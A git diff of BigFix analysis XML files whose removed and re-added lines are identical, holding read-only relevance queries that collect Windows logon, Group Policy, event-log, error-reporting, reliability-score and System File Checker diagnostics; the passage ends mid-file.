-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Signs of possible Logon or GPO issues - Windows
-  ID       : 2994789
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T10:43:17
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Signs of possible Logon or GPO issues - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows 7 or later */ version of operating system >= "6.1"]]></Relevance>
-    <Relevance>&quot;Physical&quot; = (if (mac of operating system) then /* the Mac BES client does not currently support the smbios inspector. This needs refinement, but for now just assuming apple devices are physical since virtualiztion of OS X is relatively rare */ &quot;Physical&quot; else (if ((it contains &quot;VMware&quot; or (it contains &quot;Microsoft&quot; AND /* This check is needed to exclude Microsoft Surface devices */ ((value &quot;product_name&quot; of structure &quot;system_information&quot; of smbios) as string contains &quot;Virtual Machine&quot;)) or it contains &quot;Xen&quot; or /* This check is needed to properly identify Parallels VMs as virtual instead of physical */ it contains &quot;Parallels Software&quot;) of (value &quot;manufacturer&quot; of structure &quot;system_information&quot; of smbios as string)) then &quot;Virtual&quot; else &quot;Physical&quot;))</Relevance>
-    <Relevance>&quot;workgroup&quot; != (it as string as lowercase) of (if (exists wmi) then (string value of selects &quot;Domain from Win32_ComputerSystem&quot; of wmi) else (&quot;workgroup&quot;))</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 06 May 2015 17:42:41 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="2" Name="Time of latest user logon" EvaluationPeriod="PT6H">maximum of times generated of records whose(event id of it = 7001) of system event log</Property>
-    <Property ID="3" Name="Diff of userLO &amp; GPO update" EvaluationPeriod="PT6H">(maximum of times generated of records whose(event id of it = 1073743528 AND source of it = &quot;SceCli&quot;) of application event log) - (maximum of times generated of records whose(event id of it = 7001) of system event log)</Property>
-    <Property ID="4" Name="Diff of userLO &amp; first GPO update after LO" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 1073743528 AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 7001) of system event log)) of application event log)-(maximum of times generated of records whose(event id of it = 7001) of system event log)</Property>
-    <Property ID="5" Name="Time of first GPO update after latest userLO" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 1073743528 AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 7001) of system event log)) of application event log)</Property>
-    <Property ID="6" Name="number of NTP problems" EvaluationPeriod="PT6H">number of records whose(event id of it = 129 AND source of it = &quot;Microsoft-Windows-Time-Service&quot;) of system event log</Property>
-    <Property ID="7" Name="number of DNS problems" EvaluationPeriod="PT6H">number of records whose(event id of it = 1014 AND source of it = &quot;Microsoft-Windows-DNS-Client&quot;) of system event log</Property>
-    <Property ID="8" Name="number of GPO problems" EvaluationPeriod="PT6H">number of records whose(event id of it = 1129 AND source of it = &quot;Microsoft-Windows-GroupPolicy&quot;) of system event log</Property>
-    <Property ID="9" Name="number of DC errors" EvaluationPeriod="PT6H">number of records whose(event id of it = 5719 AND source of it = &quot;NETLOGON&quot;) of system event log</Property>
-    <Property ID="10" Name="number of GPO successes" EvaluationPeriod="PT6H">number of records whose(event id of it = 1073743528 AND source of it = &quot;SceCli&quot;) of application event log</Property>
-    <Property ID="11" Name="NTP 129 error" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 129 AND source of it = &quot;Microsoft-Windows-Time-Service&quot; AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 1 AND source of it = &quot;Microsoft-Windows-Power-Troubleshooter&quot;) of system event log)) of system event log)</Property>
-    <Property ID="12" Name="DNS 1014 error" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 1014 AND source of it = &quot;Microsoft-Windows-DNS-Client&quot; AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 1 AND source of it = &quot;Microsoft-Windows-Power-Troubleshooter&quot;) of system event log)) of system event log)</Property>
-    <Property ID="13" Name="GPO 1129 error" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 1129 AND source of it = &quot;Microsoft-Windows-GroupPolicy&quot; AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 1 AND source of it = &quot;Microsoft-Windows-Power-Troubleshooter&quot;) of system event log)) of system event log)</Property>
-    <Property ID="14" Name="DC 5719 error" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 5719 AND source of it = &quot;NETLOGON&quot; AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 1 AND source of it = &quot;Microsoft-Windows-Power-Troubleshooter&quot;) of system event log)) of system event log)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Signs of possible Logon or GPO issues - Windows
+  ID       : 2994789
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T10:43:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Signs of possible Logon or GPO issues - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows 7 or later */ version of operating system >= "6.1"]]></Relevance>
+    <Relevance>&quot;Physical&quot; = (if (mac of operating system) then /* the Mac BES client does not currently support the smbios inspector. This needs refinement, but for now just assuming apple devices are physical since virtualiztion of OS X is relatively rare */ &quot;Physical&quot; else (if ((it contains &quot;VMware&quot; or (it contains &quot;Microsoft&quot; AND /* This check is needed to exclude Microsoft Surface devices */ ((value &quot;product_name&quot; of structure &quot;system_information&quot; of smbios) as string contains &quot;Virtual Machine&quot;)) or it contains &quot;Xen&quot; or /* This check is needed to properly identify Parallels VMs as virtual instead of physical */ it contains &quot;Parallels Software&quot;) of (value &quot;manufacturer&quot; of structure &quot;system_information&quot; of smbios as string)) then &quot;Virtual&quot; else &quot;Physical&quot;))</Relevance>
+    <Relevance>&quot;workgroup&quot; != (it as string as lowercase) of (if (exists wmi) then (string value of selects &quot;Domain from Win32_ComputerSystem&quot; of wmi) else (&quot;workgroup&quot;))</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 17:42:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="2" Name="Time of latest user logon" EvaluationPeriod="PT6H">maximum of times generated of records whose(event id of it = 7001) of system event log</Property>
+    <Property ID="3" Name="Diff of userLO &amp; GPO update" EvaluationPeriod="PT6H">(maximum of times generated of records whose(event id of it = 1073743528 AND source of it = &quot;SceCli&quot;) of application event log) - (maximum of times generated of records whose(event id of it = 7001) of system event log)</Property>
+    <Property ID="4" Name="Diff of userLO &amp; first GPO update after LO" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 1073743528 AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 7001) of system event log)) of application event log)-(maximum of times generated of records whose(event id of it = 7001) of system event log)</Property>
+    <Property ID="5" Name="Time of first GPO update after latest userLO" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 1073743528 AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 7001) of system event log)) of application event log)</Property>
+    <Property ID="6" Name="number of NTP problems" EvaluationPeriod="PT6H">number of records whose(event id of it = 129 AND source of it = &quot;Microsoft-Windows-Time-Service&quot;) of system event log</Property>
+    <Property ID="7" Name="number of DNS problems" EvaluationPeriod="PT6H">number of records whose(event id of it = 1014 AND source of it = &quot;Microsoft-Windows-DNS-Client&quot;) of system event log</Property>
+    <Property ID="8" Name="number of GPO problems" EvaluationPeriod="PT6H">number of records whose(event id of it = 1129 AND source of it = &quot;Microsoft-Windows-GroupPolicy&quot;) of system event log</Property>
+    <Property ID="9" Name="number of DC errors" EvaluationPeriod="PT6H">number of records whose(event id of it = 5719 AND source of it = &quot;NETLOGON&quot;) of system event log</Property>
+    <Property ID="10" Name="number of GPO successes" EvaluationPeriod="PT6H">number of records whose(event id of it = 1073743528 AND source of it = &quot;SceCli&quot;) of application event log</Property>
+    <Property ID="11" Name="NTP 129 error" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 129 AND source of it = &quot;Microsoft-Windows-Time-Service&quot; AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 1 AND source of it = &quot;Microsoft-Windows-Power-Troubleshooter&quot;) of system event log)) of system event log)</Property>
+    <Property ID="12" Name="DNS 1014 error" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 1014 AND source of it = &quot;Microsoft-Windows-DNS-Client&quot; AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 1 AND source of it = &quot;Microsoft-Windows-Power-Troubleshooter&quot;) of system event log)) of system event log)</Property>
+    <Property ID="13" Name="GPO 1129 error" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 1129 AND source of it = &quot;Microsoft-Windows-GroupPolicy&quot; AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 1 AND source of it = &quot;Microsoft-Windows-Power-Troubleshooter&quot;) of system event log)) of system event log)</Property>
+    <Property ID="14" Name="DC 5719 error" EvaluationPeriod="PT6H">(minimum of times generated of records whose(event id of it = 5719 AND source of it = &quot;NETLOGON&quot; AND time generated of it &gt; (maximum of times generated of records whose(event id of it = 1 AND source of it = &quot;Microsoft-Windows-Power-Troubleshooter&quot;) of system event log)) of system event log)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Stability - Windows (2998544).bes b/Sites/Windows Management/Fixlets/Analyses/Stability - Windows (2998544).bes
index 38a40bb7b..c5928351f 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Stability - Windows (2998544).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Stability - Windows (2998544).bes	
@@ -1,30 +1,30 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Stability - Windows
-  ID       : 2998544
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-14T07:44:12
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Stability - Windows</Title>
-    <Description><![CDATA[<FONT size=2>
-<P>This analysis provides stability information for Windows devices.</P>
-<P>Kudos, compliments, and credit for the majority of this analysis to: jgstew</P>
-<P>The original analysis this is based off of is available here: <A href="https://bigfix.me/analysis/details/2994781">https://bigfix.me/analysis/details/2994781</A></P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P></FONT>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Stability - Recent Hard Reboots - Windows" EvaluationPeriod="P1D">number of descriptions of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 2500;item 1 of it))) of (record count of it, oldest record number of it)) whose (event id of it = 41) of system event log</Property>
-    <Property ID="3" Name="Stability - WER Type/Count - Windows" EvaluationPeriod="P1D">if (version of operating system &gt; &quot;6.0&quot;) then ((it, multiplicity of it) of unique values of preceding texts of firsts &quot;_&quot; of names of folders of folders whose(name of it = &quot;ReportArchive&quot; OR name of it = &quot;ReportQueue&quot;) of ((folders &quot;AppData\Local\Microsoft\Windows\WER&quot; of folders whose(exists folder &quot;AppData\Local\Microsoft\Windows\WER&quot; of it) of folder &quot;C:\Users&quot;);(folder &quot;C:\ProgramData\Microsoft\Windows\WER&quot;))) else ERROR &quot;NotApplicable&quot;</Property>
-    <Property ID="4" Name="Stability - WER Critical Lines - Windows" EvaluationPeriod="P1D">if (version of operating system &gt; &quot;6.0&quot;) then (sum of (multiplicity of it) of unique values whose(it = &quot;Critical&quot; OR it = &quot;Kernel&quot;) of preceding texts of firsts &quot;_&quot; of names of folders of folders whose(name of it = &quot;ReportArchive&quot; OR name of it = &quot;ReportQueue&quot;) of ((folders &quot;AppData\Local\Microsoft\Windows\WER&quot; of folders whose(exists folder &quot;AppData\Local\Microsoft\Windows\WER&quot; of it) of folder &quot;C:\Users&quot;);(folder &quot;C:\ProgramData\Microsoft\Windows\WER&quot;))) else ERROR &quot;NotApplicable&quot;</Property>
-    <Property ID="6" Name="Stability - Reliability Score - Windows" EvaluationPeriod="PT12H">tuple string items 0 of concatenations &quot;, &quot; of string values of selects (&quot;SystemStabilityIndex FROM Win32_ReliabilityStabilityMetrics WHERE TimeGenerated &gt;= &quot; &amp; ((year of it as string &amp; month of it as two digits &amp; day_of_month of it as two digits) of date (local time zone) of it) of (now - 1*day) ) of wmis</Property>
-    <Property ID="7" Name="Stability - Average of recent Reliability Scores - Windows" EvaluationPeriod="PT12H">( (sum of (it as floating point) of elements of item 1 of it) / item 0 of it) of (number of elements of it, it) of sets of string values of selects (&quot;SystemStabilityIndex FROM Win32_ReliabilityStabilityMetrics WHERE TimeGenerated &gt;= &quot; &amp; ((year of it as string &amp; month of it as two digits &amp; day_of_month of it as two digits) of date (local time zone) of it) of (now - 1*day) ) of wmis</Property>
-    <Property ID="8" Name="Stability - Recent Blue Screen - Windows" EvaluationPeriod="P1D">number of descriptions of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 2500;item 1 of it))) of (record count of it, oldest record number of it)) whose (event id of it = 41) of system event log</Property>
-    <Property ID="11" Name="Events - System Log - Oldest - Windows" EvaluationPeriod="P1D">time written of record (oldest record number of system event log) of system event log</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Stability - Windows
+  ID       : 2998544
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:44:12
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Stability - Windows</Title>
+    <Description><![CDATA[<FONT size=2>
+<P>This analysis provides stability information for Windows devices.</P>
+<P>Kudos, compliments, and credit for the majority of this analysis to: jgstew</P>
+<P>The original analysis this is based off of is available here: <A href="https://bigfix.me/analysis/details/2994781">https://bigfix.me/analysis/details/2994781</A></P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P></FONT>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Stability - Recent Hard Reboots - Windows" EvaluationPeriod="P1D">number of descriptions of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 2500;item 1 of it))) of (record count of it, oldest record number of it)) whose (event id of it = 41) of system event log</Property>
+    <Property ID="3" Name="Stability - WER Type/Count - Windows" EvaluationPeriod="P1D">if (version of operating system &gt; &quot;6.0&quot;) then ((it, multiplicity of it) of unique values of preceding texts of firsts &quot;_&quot; of names of folders of folders whose(name of it = &quot;ReportArchive&quot; OR name of it = &quot;ReportQueue&quot;) of ((folders &quot;AppData\Local\Microsoft\Windows\WER&quot; of folders whose(exists folder &quot;AppData\Local\Microsoft\Windows\WER&quot; of it) of folder &quot;C:\Users&quot;);(folder &quot;C:\ProgramData\Microsoft\Windows\WER&quot;))) else ERROR &quot;NotApplicable&quot;</Property>
+    <Property ID="4" Name="Stability - WER Critical Lines - Windows" EvaluationPeriod="P1D">if (version of operating system &gt; &quot;6.0&quot;) then (sum of (multiplicity of it) of unique values whose(it = &quot;Critical&quot; OR it = &quot;Kernel&quot;) of preceding texts of firsts &quot;_&quot; of names of folders of folders whose(name of it = &quot;ReportArchive&quot; OR name of it = &quot;ReportQueue&quot;) of ((folders &quot;AppData\Local\Microsoft\Windows\WER&quot; of folders whose(exists folder &quot;AppData\Local\Microsoft\Windows\WER&quot; of it) of folder &quot;C:\Users&quot;);(folder &quot;C:\ProgramData\Microsoft\Windows\WER&quot;))) else ERROR &quot;NotApplicable&quot;</Property>
+    <Property ID="6" Name="Stability - Reliability Score - Windows" EvaluationPeriod="PT12H">tuple string items 0 of concatenations &quot;, &quot; of string values of selects (&quot;SystemStabilityIndex FROM Win32_ReliabilityStabilityMetrics WHERE TimeGenerated &gt;= &quot; &amp; ((year of it as string &amp; month of it as two digits &amp; day_of_month of it as two digits) of date (local time zone) of it) of (now - 1*day) ) of wmis</Property>
+    <Property ID="7" Name="Stability - Average of recent Reliability Scores - Windows" EvaluationPeriod="PT12H">( (sum of (it as floating point) of elements of item 1 of it) / item 0 of it) of (number of elements of it, it) of sets of string values of selects (&quot;SystemStabilityIndex FROM Win32_ReliabilityStabilityMetrics WHERE TimeGenerated &gt;= &quot; &amp; ((year of it as string &amp; month of it as two digits &amp; day_of_month of it as two digits) of date (local time zone) of it) of (now - 1*day) ) of wmis</Property>
+    <Property ID="8" Name="Stability - Recent Blue Screen - Windows" EvaluationPeriod="P1D">number of descriptions of records ((integers in(item 0 of it + item 1 of it - 1,maximum of (item 0 of it + item 1 of it - 2500;item 1 of it))) of (record count of it, oldest record number of it)) whose (event id of it = 41) of system event log</Property>
+    <Property ID="11" Name="Events - System Log - Oldest - Windows" EvaluationPeriod="P1D">time written of record (oldest record number of system event log) of system event log</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Stability Audit - Windows (2994781).bes b/Sites/Windows Management/Fixlets/Analyses/Stability Audit - Windows (2994781).bes
index d7a589fc4..083f34695 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Stability Audit - Windows (2994781).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Stability Audit - Windows (2994781).bes	
@@ -1,39 +1,39 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Stability Audit - Windows
-  ID       : 2994781
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-06T07:38:01
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Stability Audit - Windows</Title>
-    <Description><![CDATA[<P>This is an attempt to detect events and other items that might be related to system problems.</P>
-<P>&nbsp;</P>
-<P><STRONG>Latest version found here:</STRONG>&nbsp; <A href="http://bigfix.me/analysis/details/2994619">http://bigfix.me/analysis/details/2994619</A></P>
-<P>&nbsp;</P>
-<P><STRONG>Related:</STRONG></P>
-<P><A href="http://bigfix.me/relevance/details/2157"><FONT color=#000080>http://bigfix.me/relevance/details/2157</FONT></A></P>
-<P>Found the Windows Error Reporting locations here: <A href="http://www.sevenforums.com/tutorials/4567-problem-reports-solutions-clear-history.html"><FONT color=#000080>http://www.sevenforums.com/tutorials/4567-problem-reports-solutions-clear-history.html</FONT></A></P><FONT size=2>
-<P>C:\Users\Default\AppData\Local\Microsoft\Windows\WER\ReportQueue</P>
-<P>C:\Users\&lt;username&gt;\AppData\Local\Microsoft\Windows\WER\ReportQueue</P>
-<P>C:\ProgramData\Microsoft\Windows\WER\ReportQueue</P>
-<P>&nbsp;</P></FONT>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 06 May 2015 14:36:41 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="# hard reboots" EvaluationPeriod="P1D">if (52000 &lt; record count of system event log) then ERROR &quot;too many log records&quot; else ( number of (records whose (event id of it = 41) of system event log) /* http://support.microsoft.com/kb/2028504 */ )</Property>
-    <Property ID="3" Name="WER - Type,Count" EvaluationPeriod="P1D">if (version of operating system &gt; &quot;6.0&quot;) then ((it, multiplicity of it) of unique values of preceding texts of firsts &quot;_&quot; of names of folders of folders whose(name of it = &quot;ReportArchive&quot; OR name of it = &quot;ReportQueue&quot;) of ((folders &quot;AppData\Local\Microsoft\Windows\WER&quot; of folders whose(exists folder &quot;AppData\Local\Microsoft\Windows\WER&quot; of it) of folder &quot;C:\Users&quot;);(folder &quot;C:\ProgramData\Microsoft\Windows\WER&quot;))) else ERROR &quot;NotApplicable&quot;</Property>
-    <Property ID="4" Name="WER - Kernel+Critical" EvaluationPeriod="P1D">if (version of operating system &gt; &quot;6.0&quot;) then (sum of (multiplicity of it) of unique values whose(it = &quot;Critical&quot; OR it = &quot;Kernel&quot;) of preceding texts of firsts &quot;_&quot; of names of folders of folders whose(name of it = &quot;ReportArchive&quot; OR name of it = &quot;ReportQueue&quot;) of ((folders &quot;AppData\Local\Microsoft\Windows\WER&quot; of folders whose(exists folder &quot;AppData\Local\Microsoft\Windows\WER&quot; of it) of folder &quot;C:\Users&quot;);(folder &quot;C:\ProgramData\Microsoft\Windows\WER&quot;))) else ERROR &quot;NotApplicable&quot;</Property>
-    <Property ID="5" Name="# of BSOD" EvaluationPeriod="P1D">if (52000 &lt; record count of system event log) then ERROR &quot;too many log records&quot; else ( number of records whose (source of it as lowercase =&quot;bugcheck&quot;) of system event log )</Property>
-    <Property ID="6" Name="Average Reliability Score" EvaluationPeriod="PT12H">(it / number of string values of selects &quot;SystemStabilityIndex FROM Win32_ReliabilityStabilityMetrics&quot; of wmis) of sum of (it as floating point) of string values of selects &quot;SystemStabilityIndex FROM Win32_ReliabilityStabilityMetrics&quot; of wmis</Property>
-    <Property ID="7" Name="Average of last 10 Reliability Scores" EvaluationPeriod="PT12H">(it / 10) of sums of (it as floating point) of (tuple string items (0;1;2;3;4;5;6;7;8;9) of it) of concatenations &quot;, &quot; of string values of selects &quot;SystemStabilityIndex FROM Win32_ReliabilityStabilityMetrics&quot; of wmis</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Stability Audit - Windows
+  ID       : 2994781
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T07:38:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Stability Audit - Windows</Title>
+    <Description><![CDATA[<P>This is an attempt to detect events and other items that might be related to system problems.</P>
+<P>&nbsp;</P>
+<P><STRONG>Latest version found here:</STRONG>&nbsp; <A href="http://bigfix.me/analysis/details/2994619">http://bigfix.me/analysis/details/2994619</A></P>
+<P>&nbsp;</P>
+<P><STRONG>Related:</STRONG></P>
+<P><A href="http://bigfix.me/relevance/details/2157"><FONT color=#000080>http://bigfix.me/relevance/details/2157</FONT></A></P>
+<P>Found the Windows Error Reporting locations here: <A href="http://www.sevenforums.com/tutorials/4567-problem-reports-solutions-clear-history.html"><FONT color=#000080>http://www.sevenforums.com/tutorials/4567-problem-reports-solutions-clear-history.html</FONT></A></P><FONT size=2>
+<P>C:\Users\Default\AppData\Local\Microsoft\Windows\WER\ReportQueue</P>
+<P>C:\Users\&lt;username&gt;\AppData\Local\Microsoft\Windows\WER\ReportQueue</P>
+<P>C:\ProgramData\Microsoft\Windows\WER\ReportQueue</P>
+<P>&nbsp;</P></FONT>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 14:36:41 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="# hard reboots" EvaluationPeriod="P1D">if (52000 &lt; record count of system event log) then ERROR &quot;too many log records&quot; else ( number of (records whose (event id of it = 41) of system event log) /* http://support.microsoft.com/kb/2028504 */ )</Property>
+    <Property ID="3" Name="WER - Type,Count" EvaluationPeriod="P1D">if (version of operating system &gt; &quot;6.0&quot;) then ((it, multiplicity of it) of unique values of preceding texts of firsts &quot;_&quot; of names of folders of folders whose(name of it = &quot;ReportArchive&quot; OR name of it = &quot;ReportQueue&quot;) of ((folders &quot;AppData\Local\Microsoft\Windows\WER&quot; of folders whose(exists folder &quot;AppData\Local\Microsoft\Windows\WER&quot; of it) of folder &quot;C:\Users&quot;);(folder &quot;C:\ProgramData\Microsoft\Windows\WER&quot;))) else ERROR &quot;NotApplicable&quot;</Property>
+    <Property ID="4" Name="WER - Kernel+Critical" EvaluationPeriod="P1D">if (version of operating system &gt; &quot;6.0&quot;) then (sum of (multiplicity of it) of unique values whose(it = &quot;Critical&quot; OR it = &quot;Kernel&quot;) of preceding texts of firsts &quot;_&quot; of names of folders of folders whose(name of it = &quot;ReportArchive&quot; OR name of it = &quot;ReportQueue&quot;) of ((folders &quot;AppData\Local\Microsoft\Windows\WER&quot; of folders whose(exists folder &quot;AppData\Local\Microsoft\Windows\WER&quot; of it) of folder &quot;C:\Users&quot;);(folder &quot;C:\ProgramData\Microsoft\Windows\WER&quot;))) else ERROR &quot;NotApplicable&quot;</Property>
+    <Property ID="5" Name="# of BSOD" EvaluationPeriod="P1D">if (52000 &lt; record count of system event log) then ERROR &quot;too many log records&quot; else ( number of records whose (source of it as lowercase =&quot;bugcheck&quot;) of system event log )</Property>
+    <Property ID="6" Name="Average Reliability Score" EvaluationPeriod="PT12H">(it / number of string values of selects &quot;SystemStabilityIndex FROM Win32_ReliabilityStabilityMetrics&quot; of wmis) of sum of (it as floating point) of string values of selects &quot;SystemStabilityIndex FROM Win32_ReliabilityStabilityMetrics&quot; of wmis</Property>
+    <Property ID="7" Name="Average of last 10 Reliability Scores" EvaluationPeriod="PT12H">(it / 10) of sums of (it as floating point) of (tuple string items (0;1;2;3;4;5;6;7;8;9) of it) of concatenations &quot;, &quot; of string values of selects &quot;SystemStabilityIndex FROM Win32_ReliabilityStabilityMetrics&quot; of wmis</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/System File Checker results (2994541).bes b/Sites/Windows Management/Fixlets/Analyses/System File Checker results (2994541).bes
index 4a107bd83..f6f667dd8 100644
--- a/Sites/Windows Management/Fixlets/Analyses/System File Checker results (2994541).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/System File Checker results (2994541).bes	
@@ -1,30 +1,30 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : System File Checker results
-  ID       : 2994541
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-06-26T15:48:31
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>System File Checker results</Title>
-    <Description><![CDATA[<P>Results from running sfc /scannow</P>
-<P>Can run sfc using this task: <A href="http://bigfix.me/cdb/fixlet/1369"><FONT color=#000080>http://bigfix.me/cdb/fixlet/1369</FONT></A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
-    <Relevance><![CDATA[exists file ((pathname of windows folder) & "\logs\cbs\cbs.log")]]></Relevance>
-    <Relevance><![CDATA[exists lines whose (it contains "[SR] ") of file ((pathname of windows folder) & "\logs\cbs\cbs.log")]]></Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 26 Jun 2013 22:46:41 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="# of unrepairable files" EvaluationPeriod="P7D">number of lines whose (it contains &quot;[SR] Cannot repair member file&quot;) of file ((pathname of windows folder) &amp; &quot;\logs\cbs\cbs.log&quot;)</Property>
-    <Property ID="3" Name="# of [SR] Lines" EvaluationPeriod="P7D">number of lines whose (it contains &quot;[SR] &quot;) of file ((pathname of windows folder) &amp; &quot;\logs\cbs\cbs.log&quot;)</Property>
-    <Property ID="4" Name="[SR] Lines" EvaluationPeriod="P7D">(if exists ( position 1000 of it ) then ( preceding text of position 1000 of it ) else it) of concatenation &quot;; &quot; of lines whose (it contains &quot;[SR] &quot;) of file ((pathname of windows folder) &amp; &quot;\logs\cbs\cbs.log&quot;)</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : System File Checker results
+  ID       : 2994541
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-06-26T15:48:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>System File Checker results</Title>
+    <Description><![CDATA[<P>Results from running sfc /scannow</P>
+<P>Can run sfc using this task: <A href="http://bigfix.me/cdb/fixlet/1369"><FONT color=#000080>http://bigfix.me/cdb/fixlet/1369</FONT></A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
+    <Relevance><![CDATA[exists file ((pathname of windows folder) & "\logs\cbs\cbs.log")]]></Relevance>
+    <Relevance><![CDATA[exists lines whose (it contains "[SR] ") of file ((pathname of windows folder) & "\logs\cbs\cbs.log")]]></Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
